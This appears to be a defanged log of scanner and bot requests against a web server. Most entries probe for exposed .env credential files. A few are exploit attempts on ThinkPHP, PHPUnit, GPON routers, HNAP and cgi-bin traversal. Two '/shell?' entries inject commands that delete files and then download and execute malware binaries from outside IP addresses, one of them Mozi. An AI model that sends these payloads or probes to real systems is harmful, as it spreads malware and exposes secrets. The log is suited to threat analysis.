1	GET	`/ab2h`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/bag2`	HTTP/1.1
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/shared/.env`	HTTP/1.1
4	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//58[.]249[.]16[.]18:45906/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`http[:]//dongtaiwang[.]com/`	HTTP/1.1
2	GET	`http[:]//fuwu[.]sogou[.]com/404/index.html`	HTTP/1.1
3	GET	`http[:]//ip[.]ws[.]126[.]net/ipquery`	HTTP/1.1
1	GET	`http[:]//www[.]epochtimes[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]minghui[.]org/`	HTTP/1.1
1	GET	`http[:]//www[.]rfa[.]org/english/`	HTTP/1.1
1	GET	`http[:]//www[.]soso[.]com/`	HTTP/1.1
1	GET	`http[:]//www[.]wujieliulan[.]com/`	HTTP/1.1
1	HEAD	`/`	HTTP/1.0
1	HEAD	`http[:]//110[.]242[.]68[.]4/`	HTTP/1.1
1	HEAD	`http[:]//112[.]124[.]42[.]80:63435/`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
3	PRI	`*`	HTTP/2.0